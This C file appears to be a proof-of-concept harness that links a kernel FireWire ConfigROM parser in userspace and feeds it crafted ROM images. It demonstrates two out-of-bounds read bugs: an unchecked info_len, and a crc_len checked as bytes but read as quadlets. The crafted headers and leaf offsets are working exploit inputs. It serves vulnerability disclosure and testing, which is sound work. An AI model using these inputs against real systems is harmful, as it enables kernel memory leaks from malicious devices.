/*
 * DF-1084 + DF-1086 PoC harness.
 *
 * Links against the REAL kernel parser (sys/bus/firewire/fwcrom.c compiled with
 * -DTEST, its demo main() renamed out of the way) and feeds it crafted
 * ConfigROM images.  Demonstrates both OOB-read defects without FireWire HW.
 *
 * The kernel allocates the csrrom buffer as 1024 bytes (256 u_int32_t quads).
 * Here we back the ROM with a 2048-byte (512-quad) region that is fully
 * poisoned with 0x42424242; only the first 256 quads are the "logical csrrom"
 * the kernel owns.  Any read of quad 256+ by the parser is an out-of-bounds
 * read into memory the device does not own (in the kernel this is the adjacent
 * fw_device fields holding kernel heap/pointer values -> DF-1084 info leak).
 *
 * DF-1084 - crom_init_context() trusts attacker-controlled info_len:
 *   fwcrom.c:84  `p += 1 + hdr->info_len;`  with no upper-bound check.
 *   info_len=255 advances p by 256 quads = 1024 bytes, i.e. past the 1024-byte
 *   csrrom.  cc->stack[0].dir then points into OOB memory; the OOB read of
 *   crc_len happens at fwcrom.c:87, and every later crom_get() derefs OOB.
 *
 * DF-1086 - crom_parse_text() CROM_END check treats crc_len as bytes:
 *   fwcrom.c:207  `(vm_offset_t)textleaf + textleaf->crc_len > CROM_END(cc)`
 *   but crc_len counts 32-bit QUADLETS (lines 215-219: text[i] indexed as
 *   u_int32_t, qlen = crc_len-2).  The check is ~4x too lax.  A text-leaf with
 *   crc_len=20 passes the byte check (leaf@1000 + 20 <= 1023) yet the loop
 *   reads text[0..17] = quads 253..270, i.e. quads 256..270 are OOB.
 *
 * Build: see build.sh (links the real fwcrom.o + this harness).
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/queue.h>
#include <bus/firewire/firewire.h>
#include <bus/firewire/iec13213.h>

#define POISON 0x42424242u
static u_int32_t rom[512];	/* 2048 bytes; logical csrrom = first 256 quads */

static void test_1084(void)
{
	struct crom_context cc;
	struct csrhdr *hdr;

	memset(rom, POISON ? 0x42 : 0, sizeof(rom));
	for (unsigned i = 0; i < 512; i++) rom[i] = POISON;

	hdr = (struct csrhdr *)&rom[0];
	hdr->info_len = 255;		/* attacker-controlled, unchecked */

	crom_init_context(&cc, rom);

	printf("=== DF-1084: crom_init_context info_len overflow ===\n");
	printf("hdr->info_len        = %u\n", hdr->info_len);
	printf("logical csrrom range = quads [0 .. 256)  (1024 bytes)\n");
	printf("&rom[256] (OOB start)= %p\n", (void *)&rom[256]);
	printf("cc.depth             = %d\n", cc.depth);
	printf("cc.stack[0].dir      = %p\n", (void *)cc.stack[0].dir);
	printf("cc.stack[0].index    = %u\n", cc.stack[0].index);

	if (cc.depth >= 0 &&
	    (u_int32_t *)cc.stack[0].dir >= &rom[256]) {
		struct csrreg *reg = crom_get(&cc);
		printf("crom_get()           = %p  (derefs OOB memory)\n",
		       (void *)reg);
		printf("  OOB reg->crc_len   = 0x%08x  (read from quad %lu)\n",
		       ((struct csrdirectory *)cc.stack[0].dir)->crc_len,
		       (unsigned long)((u_int32_t *)cc.stack[0].dir - &rom[0]));
		printf("[+] DF-1084 CONFIRMED: root-directory pointer %p is at "
		       "quad %lu, PAST the 1024-byte csrrom end (quad 256).\n"
		       "    crom_init_context advanced `p` by 1+info_len=256 "
		       "quads with no upper-bound check (fwcrom.c:84); the "
		       "crc_len read at fwcrom.c:87 already derefs OOB memory.\n",
		       (void *)cc.stack[0].dir,
		       (unsigned long)((u_int32_t *)cc.stack[0].dir - &rom[0]));
	} else {
		printf("[-] 1084: parser bailed (cc.depth=%d); OOB crc_len "
		       "happened to be 0 in the test backing store.\n", cc.depth);
	}
}

static void test_1086(void)
{
	struct crom_context cc;
	struct csrhdr *hdr;
	struct csrdirectory *dir;
	struct csrtext *tl;
	char buf[256];
	int i, oob_bytes = 0;

	for (i = 0; i < 512; i++) rom[i] = POISON;

	/* quad 0: csrhdr with info_len=4 (legal) -> root dir at quad 5 */
	hdr = (struct csrhdr *)&rom[0];
	hdr->info_len = 4;

	/* quad 5: root directory, crc_len=2 (header + 1 entry) */
	dir = (struct csrdirectory *)&rom[5];
	dir->crc_len = 2;

	/* quad 6: entry 0 = text-leaf pointer; val = offset (quads) to leaf.
	 * Place text leaf at quad 250 so text[] spills past quad 255. */
	dir->entry[0].key = CROM_TEXTLEAF;	/* 0x81 */
	dir->entry[0].val = 250 - 6;		/* offset from entry to leaf */

	/* text leaf at quad 250: csrtext header is 3 quads (crc/crc_len,
	 * spec, lang), so text[0] is at quad 253.  Set crc_len=20 so:
	 *   byte-check (line 207): textleaf(1000) + 20 = 1020 <= 1023 PASS
	 *   quad loop  (line 218): qlen = 18, text[0..17] = quads 253..270
	 *                          -> quads 256..270 are OOB. */
	tl = (struct csrtext *)&rom[250];
	tl->crc_len = 20;

	crom_init_context(&cc, rom);
	printf("\n=== DF-1086: crom_parse_text crc_len bytes-vs-quads ===\n");
	printf("root dir @ quad 5, text-leaf @ quad 250, crc_len=20\n");
	printf("CROM_END = byte 1023 (quad 255); leaf byte-check 1000+20=1020 "
	       "<=1023 PASSES\n");
	printf("but quad loop reads text[0..17] = quads 253..270 -> "
	       "quads 256..270 are OOB\n");
	if (cc.depth < 0) {
		printf("[-] 1086: parser bailed (cc.depth=%d)\n", cc.depth);
		return;
	}
	crom_parse_text(&cc, buf, sizeof(buf));
	printf("crom_parse_text output bytes (hex, first 96):\n  ");
	for (i = 0; i < 96; i++) printf("%02x", (unsigned char)buf[i]);
	printf("\n");
	/* text[3] (quad 256, first OOB) onward should be 0x42 poison if OOB
	 * read succeeded.  Count contiguous 0x42 bytes beyond text[2]. */
	for (i = 12; i < 96; i++)	/* text[0..2]=quads253..255 in-buf */
		if ((unsigned char)buf[i] == 0x42) oob_bytes++;
	if (oob_bytes >= 4) {
		printf("[+] DF-1086 CONFIRMED: crom_parse_text copied %d+ "
		       "bytes of OOB memory (0x42 poison from quads 256+) into "
		       "the output buffer via the byte-vs-quad crc_len check "
		       "bug at fwcrom.c:207.\n", oob_bytes);
	} else {
		printf("[-] 1086: only %d OOB bytes detected.\n", oob_bytes);
	}
}

int main(void)
{
	test_1084();
	test_1086();
	return 0;
}
